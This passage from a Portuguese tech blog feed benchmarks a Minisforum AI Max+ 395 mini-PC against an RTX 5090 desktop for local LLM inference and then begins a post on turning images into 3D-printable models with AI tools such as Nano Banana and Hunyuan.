<h2>Minisforum vs meu desktop: benchmarks<span class="hx:absolute hx:-mt-20" id="minisforum-vs-meu-desktop-benchmarks"></span>
    <a href="#minisforum-vs-meu-desktop-benchmarks" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Eu rodei um <a href="https://github.com/akitaonrails/homelab-docs/tree/master/benchmarks"target="_blank" rel="noopener">conjunto de benchmarks</a> comparando o Minisforum com meu desktop (AMD 7950X3D, 96GB DDR5, RTX 5090 32GB GDDR7). Os resultados são claros.</p>
<h3>CPU<span class="hx:absolute hx:-mt-20" id="cpu"></span>
    <a href="#cpu" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><table>
  <thead>
      <tr>
          <th>Teste</th>
          <th>7950X3D</th>
          <th>AI Max+ 395</th>
          <th>Vantagem</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Prime sieve (single-core)</td>
          <td>0.021s</td>
          <td>0.018s</td>
          <td>Strix Halo +14%</td>
      </tr>
      <tr>
          <td>Float pi (single-core)</td>
          <td>1.335s</td>
          <td>1.706s</td>
          <td>7950X3D +28%</td>
      </tr>
      <tr>
          <td>Multi-core sieve (32 threads)</td>
          <td>0.181s</td>
          <td>0.118s</td>
          <td>Strix Halo +53%</td>
      </tr>
      <tr>
          <td>SHA-256 throughput</td>
          <td>2.714 MB/s</td>
          <td>2.488 MB/s</td>
          <td>7950X3D +9%</td>
      </tr>
      <tr>
          <td>AES-256-CBC throughput</td>
          <td>1.613 MB/s</td>
          <td>1.410 MB/s</td>
          <td>7950X3D +14%</td>
      </tr>
  </tbody>
</table>
<p>Resultados mistos. O AI Max+ 395 é melhor em paralelismo puro (sieve multi-core), provavelmente por conta da latência menor na arquitetura de memória unificada. O 7950X3D ganha em float e crypto por causa dos clocks mais altos e do 3D V-Cache.</p>
<h3>Inferência de LLMs (modelos que cabem nos dois)<span class="hx:absolute hx:-mt-20" id="inferência-de-llms-modelos-que-cabem-nos-dois"></span>
    <a href="#infer%c3%aancia-de-llms-modelos-que-cabem-nos-dois" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Aqui é onde a coisa fica interessante. Pra modelos que cabem nos 32GB da RTX 5090, a comparação é puramente de bandwidth de memória:</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th>Tamanho</th>
          <th>RTX 5090 (tok/s)</th>
          <th>Strix Halo (tok/s)</th>
          <th>Vantagem 5090</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>phi4</td>
          <td>9.1 GB</td>
          <td>155.1</td>
          <td>23.2</td>
          <td>6.7x</td>
      </tr>
      <tr>
          <td>qwen3:14b</td>
          <td>9.3 GB</td>
          <td>138.9</td>
          <td>22.6</td>
          <td>6.1x</td>
      </tr>
      <tr>
          <td>phi4-reasoning</td>
          <td>11.1 GB</td>
          <td>130.2</td>
          <td>19.1</td>
          <td>6.8x</td>
      </tr>
      <tr>
          <td>qwen3:32b</td>
          <td>20.2 GB</td>
          <td>66.9</td>
          <td>10.0</td>
          <td>6.7x</td>
      </tr>
  </tbody>
</table>
<p>A RTX 5090 é ~7x mais rápida. A explicação é simples: GDDR7 tem ~1.792 GB/s de bandwidth. LPDDR5X tem ~256 GB/s. A razão (7x) bate quase exatamente com a diferença de velocidade medida (6.7x). Inferência de LLM é um problema dominado por bandwidth de memória. Quem lê pesos mais rápido, gera tokens mais rápido.</p>
<h3>E o prompt processing?<span class="hx:absolute hx:-mt-20" id="e-o-prompt-processing"></span>
    <a href="#e-o-prompt-processing" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th>RTX 5090 (tok/s)</th>
          <th>Strix Halo (tok/s)</th>
          <th>Vantagem 5090</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>phi4</td>
          <td>~1.933</td>
          <td>~212</td>
          <td>9.1x</td>
      </tr>
      <tr>
          <td>qwen3:14b</td>
          <td>~1.474</td>
          <td>~155</td>
          <td>9.5x</td>
      </tr>
      <tr>
          <td>qwen3:32b</td>
          <td>~767</td>
          <td>~68</td>
          <td>11.3x</td>
      </tr>
  </tbody>
</table>
<p>Prompt processing é ainda pior: 7-11x mais lento. Faz sentido, porque o prompt precisa ser processado inteiro antes de gerar o primeiro token, e é uma operação ainda mais bandwidth-intensiva.</p>
<h3>Onde o Strix Halo ganha: modelos grandes<span class="hx:absolute hx:-mt-20" id="onde-o-strix-halo-ganha-modelos-grandes"></span>
    <a href="#onde-o-strix-halo-ganha-modelos-grandes" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Agora vem a razão pela qual eu comprei esse PC. Modelos que não cabem na RTX 5090:</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th>Tamanho</th>
          <th>Strix Halo (tok/s)</th>
          <th>Notas</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>gpt-oss:20b</td>
          <td>13.8 GB MXFP4</td>
          <td>48.9</td>
          <td>MoE, mais rápido que esperado</td>
      </tr>
      <tr>
          <td>qwen3.5:35b</td>
          <td>23.9 GB</td>
          <td>43.2</td>
          <td>MoE, apenas ~4B params ativos</td>
      </tr>
      <tr>
          <td>qwen3-coder-next</td>
          <td>51.7 GB</td>
          <td>29.5</td>
          <td>MoE, 50GB+</td>
      </tr>
      <tr>
          <td>qwen3.5:122b</td>
          <td>81.4 GB Q4_K_M</td>
          <td>19.2</td>
          <td>122B params, MoE</td>
      </tr>
      <tr>
          <td>glm-4.7-flash:bf16</td>
          <td>59.9 GB</td>
          <td>17.9</td>
          <td>Full precision bf16</td>
      </tr>
      <tr>
          <td>qwen2.5:72b</td>
          <td>47.4 GB Q4_K_M</td>
          <td>4.5</td>
          <td>Dense 72B, bandwidth-limited</td>
      </tr>
  </tbody>
</table>
<p>O qwen3.5:122b com 81GB de pesos rodando a 19 tok/s. Num mini-PC. Isso simplesmente não é possível numa RTX 5090. Na placa da NVIDIA, esse modelo teria que fazer offload de camadas pra RAM do sistema, caindo pra 2-3 tok/s. Na prática, inutilizável.</p>
<p>A diferença entre modelos MoE e densos é brutal. O qwen3.5:35b roda a 43 tok/s porque, apesar de ter 35B de parâmetros totais, só ~4B ficam ativos por token. Um modelo denso de 72B como o qwen2.5:72b precisa ler 40GB+ de pesos por token, e a 256 GB/s de bandwidth, o máximo teórico é ~6.7 tok/s. Os 4.5 medidos representam ~67% de eficiência, que é o esperado pra iGPU (overhead de bus compartilhado e drivers).</p>
<h3>Resumo: quando usar cada máquina<span class="hx:absolute hx:-mt-20" id="resumo-quando-usar-cada-máquina"></span>
    <a href="#resumo-quando-usar-cada-m%c3%a1quina" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><table>
  <thead>
      <tr>
          <th>Caso de uso</th>
          <th>Melhor máquina</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Chat/coding interativo (modelos &lt;32GB)</td>
          <td>RTX 5090 (6-7x mais rápido)</td>
      </tr>
      <tr>
          <td>Modelos grandes (50GB+)</td>
          <td>Strix Halo (única opção)</td>
      </tr>
      <tr>
          <td>Modelos densos 70B+</td>
          <td>Strix Halo (única opção)</td>
      </tr>
      <tr>
          <td>Full-precision bf16</td>
          <td>Strix Halo (única opção)</td>
      </tr>
      <tr>
          <td>Batch processing com contexto longo</td>
          <td>Strix Halo (mais VRAM pra KV cache)</td>
      </tr>
      <tr>
          <td>API serving com baixa latência</td>
          <td>RTX 5090 (sub-150ms TTFT)</td>
      </tr>
  </tbody>
</table>
<h3>Um bug de ROCm que ainda existe<span class="hx:absolute hx:-mt-20" id="um-bug-de-rocm-que-ainda-existe"></span>
    <a href="#um-bug-de-rocm-que-ainda-existe" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Nem tudo funciona. Modelos como deepseek-r1:70b, llama3.3:70b e llama4:scout crasham com um bug no ggml (<code>GGML_ASSERT(ggml_nbytes(src0) &lt;= INT_MAX) failed</code>). O tensor de embedding desses modelos excede 2GB e o kernel de cópia do ROCm usa inteiro de 32 bits pro tamanho. No CUDA (NVIDIA) já foi corrigido, mas no ROCm ainda não. Esperando o fix no Ollama 0.20.0+.</p>
<h2>LPDDR5X vs GDDR7: por que essa diferença<span class="hx:absolute hx:-mt-20" id="lpddr5x-vs-gddr7-por-que-essa-diferença"></span>
    <a href="#lpddr5x-vs-gddr7-por-que-essa-diferen%c3%a7a" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A pergunta que vem é: por que a LPDDR5X é tão mais lenta?</p>
<p>GDDR7 é memória dedicada de GPU. Ela fica soldada na placa de vídeo, conectada por um barramento largo (384 ou 512 bits na RTX 5090) com clocks altos. O único trabalho dela é alimentar a GPU com dados. LPDDR5X é memória unificada que serve pra tudo: sistema operacional, aplicações, e GPU ao mesmo tempo. O barramento é mais estreito e compartilhado.</p>
<p>Na prática: GDDR7 entrega ~1.792 GB/s dedicados pra GPU. LPDDR5X entrega ~256 GB/s que ainda precisam ser divididos entre CPU e GPU. Inferência de LLM é basicamente &ldquo;leia todos os pesos do modelo da memória, multiplique pelo token atual, gere o próximo token, repita&rdquo;. Quem lê mais rápido, gera mais rápido. Não tem atalho.</p>
<p>A vantagem do Strix Halo não é velocidade. É capacidade. 96GB de VRAM num chip de 100W que custa uma fração de uma GPU profissional. A RTX 5090 é 7x mais rápida, mas trava em 32GB. Modelos que não cabem, não rodam.</p>
<h2>As alternativas: quem mais faz isso?<span class="hx:absolute hx:-mt-20" id="as-alternativas-quem-mais-faz-isso"></span>
    <a href="#as-alternativas-quem-mais-faz-isso" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se 96GB não é suficiente ou se você quer mais velocidade, as opções são poucas.</p>
<p>O Framework Desktop usa o mesmo chip AI Max+ 395 com até 128GB de RAM. Mesma plataforma, mesma performance, mas com o diferencial de ser modular e reparável (é o Framework, afinal). Na prática é equivalente ao Minisforum em specs e preço.</p>
<p>Acima disso, a alternativa é o Mac Studio com M3 Ultra. O chip M3 Ultra suporta até 512GB de memória unificada, com bandwidth de ~819 GB/s (mais de 3x o Strix Halo). A Apple fabrica os chips de memória no package, então a latência e a bandwidth são superiores. Você poderia potencialmente alocar ~400GB como VRAM e rodar modelos que não cabem em lugar nenhum fora de servidores com GPUs profissionais.</p>
<p>O NVMe interno da Apple também é outro nível: ~7.4 GB/s de leitura sequencial no M3 Ultra, comparado com ~14 GB/s do Crucial T700 (PCIe 5.0). O T700 é mais rápido em throughput bruto, mas a latência do NVMe da Apple tende a ser menor em I/O aleatório por causa da integração com o SoC.</p>
<table>
  <thead>
      <tr>
          <th>Spec</th>
          <th>Minisforum MS-S1 Max</th>
          <th>Mac Studio M3 Ultra (max)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>RAM máxima</td>
          <td>128 GB LPDDR5X</td>
          <td>512 GB unified</td>
      </tr>
      <tr>
          <td>VRAM alocável</td>
          <td>~96 GB</td>
          <td>~400 GB</td>
      </tr>
      <tr>
          <td>Memory bandwidth</td>
          <td>~256 GB/s</td>
          <td>~819 GB/s</td>
      </tr>
      <tr>
          <td>CPU</td>
          <td>Zen 5, 16C/32T</td>
          <td>Apple M3 Ultra, 32C</td>
      </tr>
      <tr>
          <td>GPU compute</td>
          <td>ROCm (gfx1151, experimental)</td>
          <td>Metal (mlx, mature)</td>
      </tr>
      <tr>
          <td>Consumo</td>
          <td>~100W</td>
          <td>~135W</td>
      </tr>
      <tr>
          <td>NVMe</td>
          <td>PCIe 5.0 (slot padrão)</td>
          <td>Custom Apple (~7.4 GB/s)</td>
      </tr>
      <tr>
          <td>Preço (EUA)</td>
          <td>~$1.500-2.000</td>
          <td>~$9.999 (512GB config)</td>
      </tr>
      <tr>
          <td>Preço estimado (Brasil)</td>
          <td>~R$ 12.000-15.000</td>
          <td>~R$ 110.000+ (importação)</td>
      </tr>
  </tbody>
</table>
<p>O preço no Brasil é o elefante na sala. A configuração máxima do Mac Studio custa $9.999 nos EUA. Com impostos de importação (~60% + ICMS estadual), passa dos R$ 110.000. O Minisforum com 128GB sai por R$ 12.000-15.000. A diferença de quase 8x no preço compra muita coisa.</p>
<p>Se você precisa de mais de 96GB de VRAM pra modelos realmente enormes (DeepSeek-V3 com 671B parâmetros cabe em ~400GB Q4, por exemplo), o Mac Studio com 512GB é a única opção consumer. A alternativa seria GPUs profissionais NVIDIA A6000 (48GB VRAM, ~$6.000 cada, e você precisaria de várias em NVLink). Pra tudo que cabe em 96GB, o Minisforum faz o trabalho por uma fração do custo.</p>
<h2>E projetos que prometem rodar LLMs grandes em GPUs pequenas?<span class="hx:absolute hx:-mt-20" id="e-projetos-que-prometem-rodar-llms-grandes-em-gpus-pequenas"></span>
    <a href="#e-projetos-que-prometem-rodar-llms-grandes-em-gpus-pequenas" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Existe o conceito de &ldquo;layer offloading&rdquo; que projetos como llama.cpp já suportam. A ideia é: se o modelo não cabe inteiro na VRAM, mantém algumas camadas na GPU e o resto na RAM do sistema. A GPU processa as camadas que estão nela, transfere pro CPU processar o resto, e volta.</p>
<p>Na prática, não funciona bem. O gargalo é o PCIe: a velocidade de transferência entre RAM do sistema e VRAM da GPU é de ~32 GB/s (PCIe 5.0 x16). Cada token gerado precisa transferir dados ida e volta. O resultado é que você cai de 150 tok/s (tudo na VRAM) pra 2-8 tok/s (offload parcial). É lento demais pra uso interativo.</p>
<p>A VRAM é a limitação fundamental porque inferência de LLM é memory-bandwidth-bound, não compute-bound. A GPU tem compute sobrando. O que falta é capacidade de ler os pesos do modelo rápido o suficiente. Quando parte dos pesos está em RAM via PCIe, o pipeline inteiro espera pela transferência.</p>
<p>É por isso que memória unificada (como no Strix Halo ou no Apple Silicon) faz diferença. Não tem PCIe no meio. CPU e GPU acessam a mesma memória física. Os 256 GB/s do Strix Halo são lentos comparados com GDDR7, mas são 8x mais rápidos que ficar fazendo offload via PCIe.</p>
<h2>Avanços em otimização de LLMs (até 2026)<span class="hx:absolute hx:-mt-20" id="avanços-em-otimização-de-llms-até-2026"></span>
    <a href="#avan%c3%a7os-em-otimiza%c3%a7%c3%a3o-de-llms-at%c3%a9-2026" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra entender por que alguns modelos rodam tão melhor que outros no Strix Halo, precisa entender o que mudou no ecossistema nos últimos dois anos.</p>
<h3>Mixture of Experts (MoE)<span class="hx:absolute hx:-mt-20" id="mixture-of-experts-moe"></span>
    <a href="#mixture-of-experts-moe" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Se você roda modelos locais, MoE é o avanço que mais importa. Um modelo MoE tem parâmetros totais altos (ex: 122B no qwen3.5:122b), mas ativa apenas uma fração deles por token (ex: ~4B). Os pesos inativos ficam na VRAM mas não são lidos a cada token, o que reduz drasticamente a bandwidth necessária.</p>
<p>Nos benchmarks do Strix Halo, modelos MoE rodam 3-10x mais rápido que modelos densos do mesmo tamanho. O qwen3.5:35b (MoE, ~4B ativos) roda a 43 tok/s enquanto o qwen2.5:72b (denso, 72B ativos) roda a 4.5 tok/s.</p>
<h3>DeepSeek e a otimização de treinamento<span class="hx:absolute hx:-mt-20" id="deepseek-e-a-otimização-de-treinamento"></span>
    <a href="#deepseek-e-a-otimiza%c3%a7%c3%a3o-de-treinamento" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O DeepSeek V3 (dezembro 2024) mostrou que era possível treinar modelos de 671B parâmetros com custo uma ordem de magnitude menor que o previsto. Eles combinaram MoE com quantização FP8 durante o treinamento (não só na inferência), treinamento multi-estágio com curriculum learning, e várias otimizações de comunicação entre GPUs. O impacto: todo mundo copiou. Qwen, GLM, MiniMax, todos adotaram variações dessa técnica.</p>
<h3>Quantização: de FP16 pra Q4 sem perder muito<span class="hx:absolute hx:-mt-20" id="quantização-de-fp16-pra-q4-sem-perder-muito"></span>
    <a href="#quantiza%c3%a7%c3%a3o-de-fp16-pra-q4-sem-perder-muito" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Quantização comprime os pesos do modelo de 16 bits (FP16) pra formatos menores: 8 bits (Q8), 4 bits (Q4), ou até 2 bits. Um modelo de 70B que ocuparia ~140GB em FP16 cabe em ~40GB em Q4_K_M. A perda de qualidade existe, mas nos formatos modernos (GGUF Q4_K_M, AWQ, EXL2) é pequena o suficiente pra uso prático.</p>
<p>O GGUF (formato do llama.cpp) se tornou o padrão pra inferência local. AWQ e GPTQ são alternativas com calibração mais sofisticada, mas o ecossistema convergiu pro GGUF porque ele funciona em CPU, CUDA e ROCm sem recompilação.</p>
<h3>Destilação: modelos menores que sabem mais<span class="hx:absolute hx:-mt-20" id="destilação-modelos-menores-que-sabem-mais"></span>
    <a href="#destila%c3%a7%c3%a3o-modelos-menores-que-sabem-mais" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Destilação é treinar um modelo pequeno usando as respostas de um modelo grande como professor. O Phi-4 da Microsoft (14B) foi treinado com destilação do GPT-4 e compete com modelos de 70B em vários benchmarks. O Qwen3 fez o mesmo: o qwen3:14b é surpreendentemente capaz pro tamanho.</p>
<h3>Flash Attention e KV Cache otimizado<span class="hx:absolute hx:-mt-20" id="flash-attention-e-kv-cache-otimizado"></span>
    <a href="#flash-attention-e-kv-cache-otimizado" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Flash Attention (Tri Dao, 2022) mudou como attention é computada: em vez de materializar a matriz inteira de attention na memória, processa em blocos mantendo os dados no SRAM on-chip da GPU, reduzindo consumo de memória de O(n²) pra O(n). Sem isso, contextos de 128K+ tokens seriam impraticáveis. Já passou pelas versões 2 e 3, com otimizações pra FP8 e operações assíncronas no H100. O PagedAttention (vLLM, UC Berkeley) fez o mesmo pro KV cache durante serving: aplica conceitos de memória virtual ao cache, eliminando fragmentação e melhorando throughput 2-4x.</p>
<p>No Ollama, eu configurei <code>OLLAMA_FLASH_ATTENTION=1</code> e <code>OLLAMA_KV_CACHE_TYPE=q8_0</code> no servidor. O primeiro ativa flash attention, o segundo usa KV cache em 8-bit em vez de fp16, cortando a bandwidth necessária pela metade por token. São otimizações que custam zero em hardware e melhoram throughput mensurável.</p>
<h3>O que Qwen, Kimi, MiniMax e GLM estão fazendo<span class="hx:absolute hx:-mt-20" id="o-que-qwen-kimi-minimax-e-glm-estão-fazendo"></span>
    <a href="#o-que-qwen-kimi-minimax-e-glm-est%c3%a3o-fazendo" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O Qwen (Alibaba) tem sido consistentemente o melhor custo-benefício em modelos open source. O Qwen3:14b é denso e forte; o Qwen3.5:122b é MoE e roda surpreendentemente bem em 96GB. O GLM-4.7 (Zhipu AI) é notável por oferecer versões bf16 full precision que rodam inteiras em 96GB. O MiniMax experimentou com contextos longos (até 4M tokens). O Kimi (Moonshot AI) focou em context windows grandes com arquiteturas lineares.</p>
<h3>O que roda bem em 96GB de VRAM<span class="hx:absolute hx:-mt-20" id="o-que-roda-bem-em-96gb-de-vram"></span>
    <a href="#o-que-roda-bem-em-96gb-de-vram" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Com 96GB no Strix Halo, os modelos que funcionam bem pra uso diário:</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th>Tamanho</th>
          <th>tok/s</th>
          <th>Uso</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>qwen3.5:35b</td>
          <td>24 GB</td>
          <td>43.2</td>
          <td>Uso geral, excelente</td>
      </tr>
      <tr>
          <td>qwen3-coder-next</td>
          <td>52 GB</td>
          <td>29.5</td>
          <td>Código, MoE</td>
      </tr>
      <tr>
          <td>qwen3.5:122b</td>
          <td>81 GB</td>
          <td>19.2</td>
          <td>Pesado mas usável</td>
      </tr>
      <tr>
          <td>glm-4.7-flash:bf16</td>
          <td>60 GB</td>
          <td>17.9</td>
          <td>Full precision</td>
      </tr>
      <tr>
          <td>qwen2.5-coder:32b</td>
          <td>20 GB</td>
          <td>10.2</td>
          <td>Código, denso</td>
      </tr>
      <tr>
          <td>deepseek-r1:32b</td>
          <td>20 GB</td>
          <td>7.4</td>
          <td>Raciocínio</td>
      </tr>
  </tbody>
</table>
<p>Modelos densos de 70B+ (deepseek-r1:70b, llama3.3:70b) ainda estão bloqueados pelo bug do ROCm que mencionei. Quando for corrigido, devem rodar a ~4-6 tok/s, usáveis pra batch mas não pra chat interativo.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Eu comprei o Minisforum pra rodar modelos que não cabem em GPU gamer nenhuma. Pra isso, funciona. Não é rápido. 19 tok/s num modelo de 122B não é a experiência que você tem com Claude ou ChatGPT. Mas é local, é privado, e roda na minha prateleira consumindo menos energia que uma lâmpada antiga.</p>
<p>Pra quem pergunta sobre o Mac Studio: se você tem orçamento, é a melhor máquina pra rodar LLMs locais. 512GB de memória unificada, 819 GB/s de bandwidth, ecossistema Metal/mlx maduro. Dá pra rodar DeepSeek-V3 inteiro em Q4. Mas no Brasil, com importação, passa dos R$ 110 mil. O Minisforum com 128GB por R$ 12-15 mil é a opção realista.</p>
<p>E pra quem acha que dá pra contornar a limitação de VRAM com offloading de camadas: não dá. PCIe é lento demais. O modelo precisa caber inteiro na VRAM pra inferência ser usável. É o motivo pelo qual GPUs gamers com 32GB de GDDR7 ultra-rápida continuam limitadas em tamanho de modelo, e por que a memória unificada do Strix Halo e do Apple Silicon mudou a equação.</p>
<p>No <a href="/2026/03/31/migrando-meu-home-server-com-claude-code/">próximo post</a> eu conto como migrei todo o home server pro Minisforum usando Claude Code, os problemas que encontrei, e como o openSUSE MicroOS se comporta como sistema operacional de servidor Docker.</p>
]]></content:encoded><category>hardware</category><category>modelos-locais</category><category>performance</category><category>reviews</category></item><item><title>AI 3D: Já dá pra modelar 3D com prompts?</title><link>https://akitaonrails.github.io/2026/01/23/ai-3d-ja-da-pra-modelar-3d-com-prompts/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/01/23/ai-3d-ja-da-pra-modelar-3d-com-prompts/</guid><pubDate>Fri, 23 Jan 2026 12:13:58 -0300</pubDate><description>&lt;p&gt;Alguns dias atrás eu tinha feito um post sobre como usar Blender com IAs locais usando Blender MCP. E a conclusão era que a qualidade era ruim.&lt;/p&gt;
&lt;p&gt;Mas fui prematuro na conclusão. Opções open source ainda variam bastante em qualidade, maioria não é muito boa, mas as opções comerciais são muito boas e bem estáveis. Não vou listar tudo que existe então fica minha recomendação de dois canais no YouTube pra se manter atualizado:&lt;/p&gt;</description><content:encoded><![CDATA[<p>Alguns dias atrás eu tinha feito um post sobre como usar Blender com IAs locais usando Blender MCP. E a conclusão era que a qualidade era ruim.</p>
<p>Mas fui prematuro na conclusão. Opções open source ainda variam bastante em qualidade, maioria não é muito boa, mas as opções comerciais são muito boas e bem estáveis. Não vou listar tudo que existe então fica minha recomendação de dois canais no YouTube pra se manter atualizado:</p>
<ul>
<li><a href="https://www.youtube.com/@PixelArtistry_"target="_blank" rel="noopener"><strong>PixelArtistry_</strong></a></li>
<li><a href="https://www.youtube.com/channel/UCRW08KcTVjXEmBzBsVl7XjA"target="_blank" rel="noopener"><strong>Stefan 3D AI Lab</strong></a></li>
</ul>
<p>Na prática, existem vários workflows de ComfyUI pra brincar, como neste tutorial ensinando a usar o <a href="https://www.youtube.com/watch?v=H7gqMnK7wUc"target="_blank" rel="noopener">recém-lançado modelo Trellis2</a>, da Microsoft. Não funciona perfeito como no video todas as vezes. Depende muito da imagem que se passar. Nos meus testes só consegui uns &ldquo;blobs&rdquo; deformados.</p>
<p>Mas no mundo comercial, existem 3 ferramentas que vale criar conta:</p>
<ul>
<li><a href="https://3d.hunyuanglobal.com/"target="_blank" rel="noopener">Hunyuan Global</a>, da Tencent. Existe a plataforma em chinês - que é mais completa - e a versão global em inglês que é mais limitada. Mas com ele é possível criar modelos 3D a partir de imagens com qualidade excepcional.</li>
<li><a href="https://www.hitem3d.ai/home"target="_blank" rel="noopener">Hitem3D</a> - é concorrente da Hunyuan, também é excelente pra gerar modelos 3D a partir de imagens. Vale testar nas duas porque dependendendo das imagens que se passar, uma pode resultar melhor que a outra.</li>
<li><a href="https://yvo3d.com/"target="_blank" rel="noopener">Yvo3D</a> - é uma das mais caras, mas especificamente pra gerar texturas em alta qualidade, parece que é o melhor disparado.</li>
</ul>
<p>Tem várias outras plataformas e pra se manter atualizado existe o site <a href="https://www.top3d.ai/"target="_blank" rel="noopener"><strong>Top3D.ai</strong></a> com o ranking das melhores ferramentas. A maioria costuma ter planos gratuitos, trial, ou coisas assim, então é bom testar quantas puder. O preço não é &ldquo;caro&rdquo; se você é um profissional que vai usar em trabalho pra cliente. Só é caro pra caras com eu, que usam como hobby.</p>
<p>Algumas que vale a pena testar são Hyper3D Rodin, Tripo AI, Prism e SAM 3D. Nos canais de YouTube que recomendei, tem videos sobre eles, então pelo menos assista.</p>
<h3>A carta na manga: Nano Banana<span class="hx:absolute hx:-mt-20" id="a-carta-na-manga-nano-banana"></span>
    <a href="#a-carta-na-manga-nano-banana" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O grande truque pra qualquer plataforma, seja open source ou comercial, é começar com imagens de boa qualidade. Imagens de Google Images, ou suas fotos mal tiradas, sempre vai resultar em modelos 3D ruins.</p>
<p>Pra limpar imagens, o jeito mais fácil é ir no <a href="https://gemini.google/br/overview/image-generation/?hl=pt-BR"target="_blank" rel="noopener"><strong>Google Nano Banana</strong></a>. É de longe a melhor plataforma de IA pra editar e gerar imagens.</p>
<p>Como exemplo, resolvi partir de uma imagem que minha namorada encomendou pra um artista no <strong>Fiverr</strong> e que mandamos fazer adesivos pra colar no nosso arcade. Esta imagem:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123123341_TOMIKO_NAGAI%20left.png" alt="arcade original left"  loading="lazy" /></p>
<p>A primeira coisa que pedi ao Nano Banana foi pra remover o background e separar só a personagem. É o tipo de coisa que antigamente precisaria de Photoshop pra fazer. Olha como fica agora:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123123457_no-background.png" alt="arcade no background"  loading="lazy" /></p>
<p>(não liguem que tá espelhado, fiquei com preguiça de pegar a imagem certa.)</p>
<p>Enfim, ainda não é o suficiente pra gerar 3D. No caso específico de gerar modelos de personagens, o ideal é ter imagens em <strong>&ldquo;T-Pose&rdquo;</strong>, &ldquo;pose em T&rdquo;, que é a pessoa ereta de pé com os braços abertos como Jesus. E ter fotos exatamente de frente, de trás, pela esquerda e pela direita.</p>
<p>E dá pra pedir pro Nano Banana fazer exatamente isso: <em>&ldquo;generate a front photo of this character in T-Pose, for 3D modeling&rdquo;</em> e ele vai gerar isso:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124015_front.png" alt="t-pose front"  loading="lazy" /></p>
<p>Metade do trabalho acabou neste passo. Sem isso não dá pra gerar modelos bons. Agora é só mandar gerar os outros ângulos, como de costas:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124004_back.png" alt="t-pose back"  loading="lazy" /></p>
<p>Mesma coisa, imagens do ângulo na esquerda, na direita e pronto. Pelo menos 4 imagens <strong>consistentes, coerentes, limpas</strong>.</p>
<h2>Hunyuan Global<span class="hx:absolute hx:-mt-20" id="hunyuan-global"></span>
    <a href="#hunyuan-global" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Agora é a parte simples. Basta escolher Hunyuan ou Hitem3D. No caso, escolhi Hunyuan:</p>
<p><a href="https://3d.hunyuanglobal.com/"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124227_screenshot-2026-01-23_12-42-16.png" alt="Hunyuan Generate"  loading="lazy" /></a></p>
<p>Só escolher o novo modelo versão 3.0 e mandar gerar com 1.5 milhões de polígonos (sim, é bem pesado, mas depois é só fazer remesh) e opcionalmente mandar gerar texturas (já sabendo que Hunyuan não é bom com texturas).</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124359_screenshot-2026-01-18_13-35-13.png" alt="Hunyuan model"  loading="lazy" /></p>
<p>E olha o resultado. Perfeito! Do jeito que tá já dá pra usar. Como falei, ele não é muito bom com texturas, mas como meu objetivo pra esse teste foi imprimir na minha impressora 3D, não me preocupei com texturas.</p>
<p>Abrindo no Blender, posso colocar um modifier de remesh pra diminuir a resolução de polígonos e converter tudo em quads e fica assim:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124605_screenshot-2026-01-18_13-46-35.png" alt="Blender model"  loading="lazy" /></p>
<p>E de cara já tentei imprimir e saiu assim:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124749_20260123_124442.png" alt="Bambulab 3d Print"  loading="lazy" /></p>
<p>Fiquei particularmente impressionado com os detalhes: nada torto, nada fora do lugar, mãos com 5 dedos, proporções corretas, detalhes no rosto perfeitos, cabelo perfeito.</p>
<blockquote>
  <p>Pense nisso: fui do nada, ao IA, a uma impressão 3D física!</p>

</blockquote>
<p>E agora que eu tenho esse modelo, posso mandar pro <a href="https://www.mixamo.com/#/"target="_blank" rel="noopener"><strong>Adobe Mixamo</strong></a>, que é uma ferramenta online pra re-usar poses pré-prontas.</p>
<p><a href="https://www.mixamo.com/#/"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124934_screenshot-2026-01-18_14-12-07.png" alt="mixamo pose"  loading="lazy" /></a></p>
